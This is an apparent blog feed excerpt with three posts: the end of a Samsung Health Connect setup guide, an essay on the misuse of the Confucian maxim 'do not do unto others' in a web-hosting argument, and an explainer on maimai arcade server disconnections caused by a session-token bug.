&lt;p&gt;Tap &lt;strong&gt;Data Platform&lt;/strong&gt;, find &lt;strong&gt;Developer Mode&lt;/strong&gt; and &lt;strong&gt;Data SDK Developer mode&lt;/strong&gt;, and tick them to &lt;code&gt;on&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./5.webp&quot; alt=&quot;Dp&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Next you can exit that page; Samsung Health will ask you to force stop the app once — do as it asks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./6.webp&quot; alt=&quot;fstop&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The next time you open Samsung Health, it will ask you to agree to the privacy policy etc. again; you must choose to agree&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Then open settings and you&apos;ll see the &lt;strong&gt;健康连接&lt;/strong&gt; option; go in and grant permissions&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./7.webp&quot; alt=&quot;HealthConnect-in-SamsungHealth&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./8.webp&quot; alt=&quot;HealthConnect&quot; /&gt;&lt;/p&gt;
</content:encoded><category>Samsung</category><category>Android</category><category>软件</category><author>Chongxi</author></item><item><title>Why &quot;Do Not Do Unto Others What You Do Not Want Done to Yourself&quot; Is the Most Sanctimonious Excuse for Evasion in Human History</title><link>https://xice.cx/en/posts/theUltimateExcuse/</link><guid isPermaLink="true">https://xice.cx/en/posts/theUltimateExcuse/</guid><description>Why has &quot;Do Not Do Unto Others What You Do Not Want Done to Yourself&quot; become a tool for evasion? A deep dissection of logical substitution and moral coercion.</description><pubDate>Tue, 24 Feb 2026 06:16:18 GMT</pubDate><content:encoded>&lt;h2&gt;0.1 Intro&lt;/h2&gt;
&lt;p&gt;If I had to pick the single most perfect and most sanctimonious escape tool in human history, I would not hesitate to bring out that most sacred saying: &quot;Do not do unto others what you do not want done to yourself.&quot;&lt;/p&gt;
&lt;p&gt;From ancient times to today, these eight characters have been revered as the highest attainment of moral cultivation. But in the modern context — especially in internet discussions saturated with subjective emotion — it is no longer a moral mirror for restraining one&apos;s own heart, but has become an all-purpose shield that bounces back every objective fact and tries to shut the other person up.&lt;/p&gt;
&lt;p&gt;Once you master this sentence, you can perfectly evade anything you dislike and reject any objective evaluation. Here is a real case.&lt;/p&gt;
&lt;h2&gt;0.2 The Case, Reconstructed&lt;/h2&gt;
&lt;p&gt;It started simply: I posted an image in a group, showing that I was using the Cloudflare Pages service.&lt;/p&gt;
&lt;p&gt;Group member A&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Why not use Edgeone Page?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Me:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The answer is there&apos;s no need. I don&apos;t use domestic cloud services, I don&apos;t care about domestic users (the domestic user base is small), and I have nothing at L3/L4 that needs defending.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;(Then I relayed this conversation to a third party.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Bystander:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Do not do unto others what you do not want done to yourself. Because your audience isn&apos;t domestic, it&apos;s useless to you. But for people with a domestic audience, it is useful.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Me:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By best practice, Edgeone is completely unnecessary too. As a content vehicle, does a blog have anything that needs an L3/L4 proxy? Obviously, for static pages like mine, a traditional CDN can handle it completely. Insisting on wrapping on a bunch of this and that isn&apos;t writing a blog, it&apos;s playing cyber Lego.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1. Logical Analysis&lt;/h2&gt;
&lt;p&gt;The reason this sentence can become a tool for evading everything is that, logically, it is extremely covert. At the instant the user says it, they have already completed a triple logical substitution:&lt;/p&gt;
&lt;h3&gt;1.1. Substituting the Subject&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Original logic: &lt;strong&gt;I&lt;/strong&gt; do not want [something], so &lt;strong&gt;I&lt;/strong&gt; do not do it to others (I hate being late, so I am never late)&lt;/li&gt;
&lt;li&gt;Evasion logic: &lt;strong&gt;You&lt;/strong&gt; do not want [something], so &lt;strong&gt;you&lt;/strong&gt; do not do it to me (you don&apos;t like others pointing out your flaws either, right? So don&apos;t come pointing out mine)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This instantly strips the moral requirement off oneself and turns it into a noose for extorting the other person.&lt;/p&gt;
&lt;h3&gt;1.2 Substituting the Object&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;In the &lt;strong&gt;original logic&lt;/strong&gt;, &quot;do not want&quot; refers to immoral/unjust &lt;strong&gt;harmful behaviour&lt;/strong&gt; (such as deception/betrayal)&lt;/li&gt;
&lt;li&gt;In the &lt;strong&gt;evasion logic&lt;/strong&gt;, &quot;do not want&quot; is expanded to cover everything &lt;strong&gt;that makes a person uncomfortable&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The other person points out a mistake in your work; that is an objective fact. But you can cancel that fact out with &quot;nobody likes being criticised&quot; (a subjective emotion). It uses subjective like-it-or-not to cover up objective right-or-wrong.&lt;/p&gt;
&lt;h3&gt;1.3 Appealing to Hypocrisy&lt;/h3&gt;
&lt;p&gt;The subtext of this sentence is: you are a person too, you have weaknesses, you feel pain too — what gives you the right to demand anything of me?&lt;/p&gt;
&lt;p&gt;It exploits the fact that &quot;nobody is perfect&quot; to outright disqualify the other person from expressing criticism/advice/demands.&lt;/p&gt;
&lt;h2&gt;2. Psychological Analysis&lt;/h2&gt;
&lt;p&gt;As an evasion tool, this sentence is masterful in psychological defence: it can enormously protect the user&apos;s narcissism from the impact of outside information.&lt;/p&gt;
&lt;h3&gt;2.1 The Moral High Ground&lt;/h3&gt;
&lt;p&gt;When you reject someone&apos;s opinion, saying &quot;I don&apos;t want to hear it&quot; or &quot;I just like it this way&quot; makes you look selfish and unreasonable.
But when you throw out &quot;Do not do unto others what you do not want done to yourself&quot;, you instantly &lt;em&gt;stand on the shoulders of a sage&lt;/em&gt;. With an extremely noble sentence full of classical moral radiance, you complete the most thorough rejection.
This moral high ground leaves the critic speechless.&lt;/p&gt;
&lt;h3&gt;2.2 Constructing a Victim Narrative&lt;/h3&gt;
&lt;p&gt;The word 「施」 in this sentence is very subtle. When you say 「勿施于人」 to someone, you are secretly constructing a script: &lt;strong&gt;the other person is the one with power, the perpetrator, and you are the passive victim&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Even if the other person merely gently suggests that you smoke less, as long as you use this sentence, they immediately become a &lt;em&gt;beast forcing their will on others&lt;/em&gt;. This cleverly evades the problem itself and turns it into a problem with the other person&apos;s attitude.&lt;/p&gt;
&lt;h3&gt;2.3 Cognitive Closure&lt;/h3&gt;
&lt;p&gt;When people face something that challenges their existing beliefs, they experience cognitive dissonance. This sentence is a perfect STOP. It doesn&apos;t require you to mount any rational rebuttal, doesn&apos;t require you to lay out facts and reason; you only need to toss out these eight characters, and it physically isolates all the information that would require mental effort to reflect on.&lt;/p&gt;
&lt;h2&gt;3. Discursive Power&lt;/h2&gt;
&lt;p&gt;In interpersonal dealings and debate, this sentence is a black hole: any meaningful expression gets sucked in and pulverised.&lt;/p&gt;
&lt;h3&gt;3.1 Abolishing the Evaluative System&lt;/h3&gt;
&lt;p&gt;If everyone could only say to others what others &lt;strong&gt;want&lt;/strong&gt; to hear, then criticism, correction and warning would not exist in the world.
Judges couldn&apos;t pass sentences, doctors couldn&apos;t issue critical-condition notices, parents couldn&apos;t discipline their children. The ultimate expression of this sentence as an evasion tool is that &lt;strong&gt;it dissolves every standard of right and wrong, leaving only emotional value&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;3.2 Eliminating Diversity and Dissent&lt;/h3&gt;
&lt;p&gt;Why do I say &quot;you can use this sentence to evade anything anyone else expresses&quot;? Because as long as another person&apos;s expression doesn&apos;t suit you, you can deem that they are 「施」 on you.&lt;/p&gt;
&lt;p&gt;For example, if someone shares a book with you, or a different way of living, and you don&apos;t want to learn about it, you can say &quot;Do not do unto others what you do not want done to yourself — don&apos;t brainwash me&quot;.
It effectively becomes &lt;strong&gt;a shield against accepting any new thing or new idea&lt;/strong&gt;, trapping a person completely inside their own information cocoon.&lt;/p&gt;
&lt;h3&gt;3.3 Absolute Relativism&lt;/h3&gt;
&lt;p&gt;It cuts the interactions between people into disconnected islands. The subtext is: &quot;I don&apos;t meddle in your business, and you don&apos;t meddle in mine.&quot;
This evades the responsibility that humans, as social animals, must bear for mutual cooperation and mutual supervision.&lt;/p&gt;
&lt;h2&gt;4. Case Analysis&lt;/h2&gt;
&lt;p&gt;Now let&apos;s return to the real case from the beginning and see how this famous saying was used to forcibly halt rational discussion and complete a subjective/objective substitution.&lt;/p&gt;
&lt;h3&gt;4.1 The Core Substitution&lt;/h3&gt;
&lt;p&gt;The most fatal logical fallacy in this case is the substitution of the objective with the subjective.&lt;/p&gt;
&lt;p&gt;My core argument for not using Edgeone contained an objective technical judgement:
for a blog holding static pages, a traditional CDN (such as Cloudflare Pages) is already completely sufficient by best practice. The L3/L4 protection Edgeone provides, for a content vehicle, is &lt;strong&gt;architectural over-engineering&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is an objective discussion based on &lt;strong&gt;technical best practice, cost-benefit ratio and the soundness of the system architecture&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The bystander directly ignored my technical discussion about &lt;em&gt;L3/L4 protection&lt;/em&gt; and &lt;em&gt;static pages&lt;/em&gt;, and &lt;strong&gt;reduced&lt;/strong&gt; your decision &lt;strong&gt;entirely&lt;/strong&gt; to: &lt;strong&gt;because you don&apos;t care about the domestic audience (your subjective situation), you therefore don&apos;t like/need it (your subjective emotion)&lt;/strong&gt;
He threw out &quot;Do not do unto others what you do not want done to yourself&quot;, the subtext being: &quot;This is just because it&apos;s of no use to you personally; it&apos;s still useful to others. Don&apos;t take your subjective preference as objective truth and use it to negate it.&quot;&lt;/p&gt;
&lt;p&gt;Why call it a subjective/objective substitution? With this sentence, he dissolved my &lt;strong&gt;objective judgement&lt;/strong&gt; about &quot;technical best practice&quot; into &lt;strong&gt;subjective bias&lt;/strong&gt; — &quot;you only say it&apos;s bad because you can&apos;t use it anyway&quot;. This completely erases the room for discussing technical soundness.&lt;/p&gt;
&lt;h3&gt;4.2 Attacking a Phantom Enemy&lt;/h3&gt;
&lt;p&gt;Second, the defensive mechanism of this sentence kicks in as an attack on a completely phantom enemy, which also shows how this sentence gets mindlessly overused.&lt;/p&gt;
&lt;p&gt;Let&apos;s recall how it started: A proactively asked you &quot;why not use Edgeone Page&quot;
I was &lt;strong&gt;answering a question&lt;/strong&gt;, stating the reasons for &lt;strong&gt;my own&lt;/strong&gt; technical choices.
I was merely expressing &quot;why &lt;strong&gt;I&lt;/strong&gt; don&apos;t use it&quot;; I never said &quot;&lt;strong&gt;none of you&lt;/strong&gt; may use it&quot; or &quot;anyone who uses Edgeone is an idiot&quot;. I did not 「施」 anything on anyone.
But the bystander threw out &quot;Do not do unto others what you do not want done to yourself&quot; and immediately slapped a big label on me: you&apos;re using your own standards to kidnap others.&lt;/p&gt;
&lt;p&gt;You see, that is where this sentence&apos;s evasive power lies: &lt;strong&gt;as long as you express an opinion with a negative quality (I don&apos;t like it / I don&apos;t use it), the other person can use this sentence to brand you a dictator trying to force your personal will on others&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.3 Universal Muddling-Through&lt;/h3&gt;
&lt;p&gt;We often say technical discussion should have a geek spirit, and &quot;&lt;em&gt;Do not do unto others what you do not want done to yourself&lt;/em&gt;&quot; is in many cases the mortal enemy of that geek spirit.&lt;/p&gt;
&lt;p&gt;Following his logic: it&apos;s useless to you, useful to people with a domestic audience.
That sentence sounds unbelievably correct and unbelievably tolerant, but it is in fact &lt;strong&gt;utterly unnutritious nonsense&lt;/strong&gt;. If you follow that logic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A asks: why not drive a tractor to work?&lt;/li&gt;
&lt;li&gt;You answer: because there&apos;s no need; it&apos;s too slow, I drive&lt;/li&gt;
&lt;li&gt;Bystander: do not do unto others what you do not want done to yourself; you don&apos;t need to work the fields, but it&apos;s useful to farmers.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It completely ignores &lt;strong&gt;suitability in the specific scenario&lt;/strong&gt; and detaches from &lt;strong&gt;the reality of the situation&lt;/strong&gt;
Even if someone does need a domestic audience, &lt;strong&gt;for a static page on a blog, Edgeone&apos;s L3/L4 protection is still unnecessary — it&apos;s still using a cannon to swat a mosquito, and you don&apos;t even know where the mosquito is&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this case, the bystander created the illusion that &lt;strong&gt;everything has its reason and whatever exists is reasonable&lt;/strong&gt;, muddled through beautifully, and turned what could have been a deep discussion of &quot;the reasonable use cases for CDNs and high-defence nodes&quot; into a bowl of meaningless chicken soup about respecting each other&apos;s subjective differences.&lt;/p&gt;
&lt;h2&gt;5. Getting Back to the Source&lt;/h2&gt;
&lt;p&gt;Now let&apos;s discuss what &quot;Do not do unto others what you do not want done to yourself&quot; originally means.&lt;/p&gt;
&lt;p&gt;:::tip[Original meaning]
&quot;Do not do unto others what you do not want done to yourself&quot; comes from the Analects (it appears in both the &quot;Yan Yuan&quot; and &quot;Wei Ling Gong&quot; chapters), and it is one of the most core concepts of Confucius&apos;s Confucian thought — the way of &lt;strong&gt;「恕」&lt;/strong&gt; (shu, reciprocity)
:::&lt;/p&gt;
&lt;p&gt;If we strip away the defensive properties later generations imposed on it and restore it to the context in which Confucius said it more than 2,500 years ago, its original meaning is in fact extremely noble — even a kind of &lt;strong&gt;self-cultivation&lt;/strong&gt; that places extremely high demands on human nature.&lt;/p&gt;
&lt;h3&gt;5.1. Extending Oneself to Others&lt;/h3&gt;
&lt;p&gt;In the Analects, Wei Ling Gong, Zigong asked Confucius: &quot;Is there one word that I could practise for my whole life?&quot;
Confucius answered: &quot;That would be &lt;strong&gt;恕&lt;/strong&gt;! Do not do unto others what you do not want done to yourself.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;恕&lt;/strong&gt; here, in Old Chinese, means &quot;as the heart&quot; — that is, &quot;putting yourself in another&apos;s shoes&quot;
Confucius&apos;s original meaning is: &lt;strong&gt;you should use your own feelings as the ruler for understanding other people&apos;s feelings.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Because human emotions are connected: things that make you feel pain, humiliation or disgust will most likely make others feel pain, humiliation or disgust too. Therefore, before you do something to someone else, rehearse it in your mind first: if someone did this to me, could I stand it? If not, stop what you are doing immediately&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is in fact the earliest and most concise &lt;strong&gt;empathy&lt;/strong&gt; education in the history of human civilisation.&lt;/p&gt;
&lt;h3&gt;5.2. Looking Inward&lt;/h3&gt;
&lt;p&gt;As we discussed above, when this sentence is used as an evasion tool, the subject is swapped to &quot;others&quot;. But in Confucius&apos;s original meaning, &lt;strong&gt;the subject, predicate and object of this sentence form a mechanism of self-restraint&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What &lt;strong&gt;I&lt;/strong&gt; do not want: &lt;strong&gt;I&lt;/strong&gt; must first be aware of my own heart, and know what is evil and painful&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not&lt;/strong&gt; do to others: this is an &lt;strong&gt;absolute command to oneself&lt;/strong&gt;. The emphasis is on &lt;strong&gt;not&lt;/strong&gt;, meaning &lt;strong&gt;I absolutely must not do this thing&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Confucius put this sentence forward as the standard for a &lt;strong&gt;junzi&lt;/strong&gt;. A junzi makes demands of himself; only a petty person makes demands of others. So in its original meaning, this sentence is &lt;strong&gt;absolutely not a spear aimed at others&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;5.3 The Silver Rule&lt;/h3&gt;
&lt;p&gt;In the history of world ethics, &quot;Do not do unto others what you do not want done to yourself&quot; is called the &lt;strong&gt;silver rule&lt;/strong&gt; of morality.
Its counterpart is the &lt;strong&gt;golden rule&lt;/strong&gt; in Christianity&apos;s Gospel of Matthew: &quot;Do unto others as you would have them do unto you&quot; (do unto others what you want done to yourself).&lt;/p&gt;
&lt;p&gt;In comparison, you&apos;ll find that Confucius&apos;s original meaning contains a profound &lt;strong&gt;sense of boundaries and restraint&lt;/strong&gt;:
Confucius did not encourage us to &quot;do unto others what you want done to yourself&quot; (because what you like, others may not like, and forcing it on others is also a disaster — forced marriage, for example)
Confucius only drew &lt;strong&gt;one negative moral baseline&lt;/strong&gt;: things you &quot;do not want&quot;, absolutely do not give to others.
It acknowledges the differences between people and emphasises that &lt;strong&gt;not harming&lt;/strong&gt; is the first principle of interpersonal interaction.&lt;/p&gt;
&lt;h3&gt;5.4 The Union of Loyalty and Reciprocity&lt;/h3&gt;
&lt;p&gt;Looking only at &quot;Do not do unto others what you do not want done to yourself&quot;, Confucianism seems very passive and negative. But in fact this sentence is only half of Confucius&apos;s system.&lt;/p&gt;
&lt;p&gt;Confucius&apos;s core thought is the &lt;strong&gt;way of zhong and shu&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The negative baseline is &lt;strong&gt;shu&lt;/strong&gt;: do not do unto others what you do not want done to yourself (what I don&apos;t want, I don&apos;t stuff onto you)&lt;/li&gt;
&lt;li&gt;The positive pursuit is &lt;strong&gt;zhong&lt;/strong&gt;: &lt;strong&gt;wishing to establish oneself, one establishes others; wishing to succeed, one helps others succeed&lt;/strong&gt; (I want to stand firm and achieve success, so I also help others stand firm and achieve success)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Putting these two sentences together is its complete original meaning: &lt;strong&gt;do not pass suffering on to others, and at the same time share the power to grow with others&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;After reading the original meaning, we can feel even more strongly how ironic the evasion phenomenon I described is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Confucius&apos;s original meaning was to break down human self-centredness, to make people see &lt;strong&gt;the suffering of others&lt;/strong&gt;, and thereby &lt;strong&gt;restrain their own behaviour&lt;/strong&gt; (this is a form of selflessness)&lt;/li&gt;
&lt;li&gt;After being alienated, it reinforces human self-centredness, making people see only &lt;strong&gt;their own feelings&lt;/strong&gt;, and thereby &lt;strong&gt;reject outside correction&lt;/strong&gt; (this becomes an &lt;strong&gt;extreme selfishness&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These eight characters are themselves extremely great and profound. But the tragedy of language lies here: &lt;strong&gt;when the noblest moral maxim falls into the human weakness of seeking advantage and avoiding harm, of evading responsibility, it not only loses its original radiance but instead becomes the strongest armour protecting selfishness&lt;/strong&gt;. So next, let&apos;s imagine what society would look like if everyone attacked each other with this attitude.&lt;/p&gt;
&lt;h2&gt;6. Simulation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A: Why not use Edgeone Page?&lt;/li&gt;
&lt;li&gt;Me: The answer is there&apos;s no need. I don&apos;t care about domestic users, and a purely static blog has no need to waste time on L3/L4 protection. Wrapping on a bunch of this and that is playing cyber Lego&lt;/li&gt;
&lt;li&gt;Bystander: Do not do unto others what you do not want done to yourself. Your audience isn&apos;t domestic, you don&apos;t need it, it&apos;s useless to you, but it is useful to people with a domestic audience&lt;/li&gt;
&lt;li&gt;Me: Do not do unto others what you do not want done to yourself. I absolutely detest this kind of over-engineering; what gives you the right to demand that I admit it&apos;s useful to others?&lt;/li&gt;
&lt;li&gt;A: Do not do unto others what you do not want done to yourself. I was only making a well-intentioned suggestion and asking a question. If you asked someone a question, you wouldn&apos;t want to be treated as an idiot, would you?&lt;/li&gt;
&lt;li&gt;Bystander: Do not do unto others what you do not want done to yourself. None of you surely like a communication environment this aggressive and toxic.&lt;/li&gt;
&lt;li&gt;Me: Do not do unto others what you do not want done to yourself. What I hate is being morally kidnapped by others when discussing technical questions, talking only about subjective feelings without looking at objective facts&lt;/li&gt;
&lt;li&gt;Admin: Stop arguing. Do not do unto others what you do not want done to yourself. I don&apos;t want to see you all howling in here. Since I don&apos;t want to see it, do not do it to me (mute everyone)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After running through this, we can conclude that if a moral-kidnapping logic like this prevails in an environment, it produces three extremely terrifying consequences:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;What Becomes of Facts?
I was originally discussing the redundancy of L3/L4 proxying for static pages. This is a technical proposition that can be quantified and verified
But once this sentence enters, &lt;strong&gt;nobody cares about the technology anymore&lt;/strong&gt;
Whether Edgeone is good to use, how the CDN should be configured — none of it matters. Everyone&apos;s focus becomes: your attitude made me uncomfortable, you didn&apos;t take care of my feelings, you&apos;re negating my value. &lt;strong&gt;The objective world is completely drowned by subjective emotion&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Everyone Joins the Victim Narrative
Everyone emphasises their own &quot;do not want&quot;:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Bystander: I do not want to see absolute judgements&lt;/li&gt;
&lt;li&gt;Me: I do not want to see garbage architecture&lt;/li&gt;
&lt;li&gt;A: I do not want to be mocked as a newbie
Because everyone&apos;s &lt;em&gt;do not want&lt;/em&gt; is different, everyone feels they are the victim and accuses the other of being the imposer. This forms a dead loop: &lt;strong&gt;as long as I&apos;m unhappy, it&apos;s you imposing on me&lt;/strong&gt;
Communication becomes a misery contest and a competition over whose morals are loftier&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;Language Inflation
When any sentence can be interpreted as forcing something on someone, humanity loses the possibility of communication
You point out a mistake — that&apos;s imposing on someone; you share an experience — that&apos;s imposing; even when you retort to defend yourself, that&apos;s imposing. The final outcome is that &lt;strong&gt;society falls into absolute nihilism&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;7. How to Respond&lt;/h2&gt;
&lt;p&gt;I think the emotional share of a person is larger than the rational share. Faced with this logic of &quot;distribution by making a fuss&quot;, we should be rational enough to &lt;strong&gt;not be kidnapped by the other person&apos;s swamp of emotion and morality, but pull the matter back to a contest of objective facts and logic&lt;/strong&gt;. In the case above I actually already demonstrated this approach&lt;/p&gt;
&lt;p&gt;When the other person uses &quot;do you like it / do you need it&quot; to cover up &quot;is the thing itself right / is it good&quot;, all you have to do is cut it off immediately&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Want&lt;/strong&gt; (desire/preference) is subjective, but what we&apos;re discussing now is objective law / technical specification / fact&lt;/p&gt;
&lt;p&gt;:::tip[eg]
I don&apos;t use Edgeone not because I dislike it, but because from a technical architecture (objective) perspective, wrapping L3/L4 protection around a purely static blog is taking your pants off to fart (over-engineering). This has nothing to do with where the audience is; it&apos;s technical common sense
:::&lt;/p&gt;
&lt;p&gt;When we encounter this all-purpose evasion tool, it&apos;s easy to be briefly speechless or to doubt ourselves because the other person has taken the moral high ground. Don&apos;t be afraid: when they throw out &quot;Do not do unto others what you do not want done to yourself&quot;, &lt;strong&gt;they are essentially calling a halt to you&lt;/strong&gt;
They&apos;ve realised they can&apos;t beat you on the battlefield of objective logic (they don&apos;t understand technology/objective facts at all), so they try to contain you morally to kill the match&lt;/p&gt;
&lt;h2&gt;8. Conclusion&lt;/h2&gt;
&lt;p&gt;After this deconstruction, we can finally see clearly how this timeless saying is alienated in the modern context into a &lt;strong&gt;hat factory&lt;/strong&gt; and an &lt;strong&gt;all-purpose shield&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The true &quot;Do not do unto others what you do not want done to yourself&quot; is a mirror Confucius handed to the junzi, to be held toward oneself, to restrain private desire and cultivate character
The abused &quot;Do not do unto others what you do not want done to yourself&quot; is a silencer in the hands of a coward, to be pointed at others, to evade reality and reject the truth&lt;/p&gt;
&lt;p&gt;When objective technical discussion and rigorous logical analysis all have to give way to cheap so-called &quot;subjective feelings&quot;, what we lose is not just a better solution, but the entire society&apos;s capacity for error correction and evolution&lt;/p&gt;
&lt;p&gt;So the next time you hear someone try to end a factual discussion with this sentence, don&apos;t doubt yourself, and even more, don&apos;t back down. See through their moral trap and refute them with logic&lt;/p&gt;
&lt;p&gt;Because in this world full of emotional bubbles, defending objective logic is the greatest respect you can show to another person&apos;s intelligence and time. &lt;strong&gt;That, perhaps, is the true &quot;Do not do unto others what you do not want done to yourself&quot; in the eyes of those of us who work in the computer industry&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>社会评论</category><author>Chongxi</author></item><item><title>Why Does the maimai Machine Keep Losing Connection? One Article Answers All Your Questions About the Recent maimai Server Problems</title><link>https://xice.cx/en/posts/whyMaiDown/</link><guid isPermaLink="true">https://xice.cx/en/posts/whyMaiDown/</guid><description>Why do machines still lose connection after the 1.53 update? An in-depth analysis of the stability of Wahlap&apos;s servers</description><pubDate>Thu, 19 Feb 2026 18:16:17 GMT</pubDate><content:encoded>&lt;p&gt;Sometimes the stuff around your mai really leaves me drained just from reading it&lt;/p&gt;
&lt;h2&gt;1. Why do machines still occasionally lose connection now&lt;/h2&gt;
&lt;p&gt;Straight to the point. You may have run into this: the machine inexplicably loses connection, your score doesn&apos;t save, and when you open the maimai status-check website the server is still alive. Why? &lt;strong&gt;The machine swallowed a cookie.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;2. What is cookie swallowing?&lt;/h2&gt;
&lt;p&gt;Simply put, after the server maintenance, a new cookie (also called a biscuit) was added to the server as an auxiliary means of account verification. When you get on a machine, the server gives the machine a cookie, and when you get off, you need to bring that cookie with you to log out successfully. &lt;strong&gt;But&lt;/strong&gt; sometimes, for some reason on the server side (a bug?), the cookie &lt;strong&gt;fails to be issued&lt;/strong&gt;, and yet at this point &lt;strong&gt;the account is already logged in&lt;/strong&gt;. That&apos;s &lt;strong&gt;cookie swallowing&lt;/strong&gt;. Without the cookie, there is naturally no way to log out of the account, so you end up in the black box.&lt;/p&gt;
&lt;p&gt;:::tip[If you still don&apos;t get it]
Think of the cookie as a subway ticket: you normally need a ticket to get in, right, and you need the same ticket to get out.&lt;/p&gt;
&lt;p&gt;Cookie swallowing is like getting through the turnstile without a ticket on the way in, then not being able to get out without a ticket: your maimai account is stuck in the subway station (in the black box)
:::&lt;/p&gt;
&lt;p&gt;If the connection loss is caused by cookie swallowing, the simplest and most effective fix is to ask the arcade staff to restart the machine; if allowed, you can also flip the switch behind the 滴蜡熊 to restart it&lt;/p&gt;
&lt;p&gt;This is actually a bug, and in principle the Japanese side should fix it&lt;/p&gt;
&lt;h2&gt;3. Why is it still unstable after the &quot;stability update&quot;&lt;/h2&gt;
&lt;p&gt;There are many reasons. &lt;strong&gt;In fact&lt;/strong&gt;, after the &lt;a href=&quot;/en/posts/3/&quot;&gt;server maintenance&lt;/a&gt;, the CN server&apos;s account verification mechanism is &lt;strong&gt;far more secure than the international server&apos;s&lt;/strong&gt;. Essentially, 1.53 was an upgrade and optimization &lt;strong&gt;aimed at accounts&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We have no way of knowing where the cookie swallowing comes from; after all, the maimai architecture is an old pile of shit that has been running for many years, and the fact that the Japanese side could turn it into this is actually not bad. It was already a late-stage lung cancer old man with a bunch of tubes stuck in him; if you insist on operating on him, what happens if he dies on the table?&lt;/p&gt;
&lt;h2&gt;4. About Wahlap buying server protection&lt;/h2&gt;
&lt;p&gt;Fact. Wahlap did buy Tencent Cloud&apos;s EdgeOne service to protect against malicious traffic attacks. Occasionally when you open the official WeChat account, an &lt;em&gt;edgeone&lt;/em&gt; prompt may pop up and block your access; that&apos;s actually you being mistaken for a malicious program&lt;/p&gt;
&lt;p&gt;Put plainly, Wahlap hired a few tough guys (in the suggestive sense) to watch the server door, but the tough guys mistook you for a thief and won&apos;t let you in&lt;/p&gt;
&lt;p&gt;There&apos;s really no way around this either; you can&apos;t lay all the blame on Tencent Cloud or Wahlap across the board, since it&apos;s inherently a hard technical problem to solve&lt;/p&gt;
&lt;h2&gt;5. Why does the official WeChat account keep blowing up lately&lt;/h2&gt;
&lt;p&gt;The cause really is unknown. My suggestion is to wait for official news (but given Wahlap&apos;s style, they&apos;ll probably play dead — just a guess)&lt;/p&gt;
&lt;h2&gt;6. What is the maimai black box&lt;/h2&gt;
&lt;p&gt;Every maimai login must strictly correspond to one logout, and under normal play all scores are uploaded at once and the logout is performed only after the results screen. If the logout doesn&apos;t succeed, the account is then occupied and can&apos;t be played normally; the machine shows a fifteen-minute popup. &lt;strong&gt;Hence the name black box&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;7. About getting out of the maimai black box, and why you can&apos;t now&lt;/h2&gt;
&lt;p&gt;I can say responsibly that as of now there is no way to get out of the black box; all previously existing methods have stopped working.&lt;br /&gt;
Previously, logging an account out on the server only required knowing your login time; now it requires verification with information such as the cookie&lt;/p&gt;
&lt;p&gt;:::tip[An analogy]
Getting out of the black box used to mean guessing your entry time one by one at the exit; guess right and you&apos;re out&lt;/p&gt;
&lt;p&gt;Now the subway exit requires an extra ticket check, but they never issued you the ticket, so you&apos;re trapped inside and it becomes the black box
:::&lt;/p&gt;
&lt;h2&gt;8. Conclusion&lt;/h2&gt;
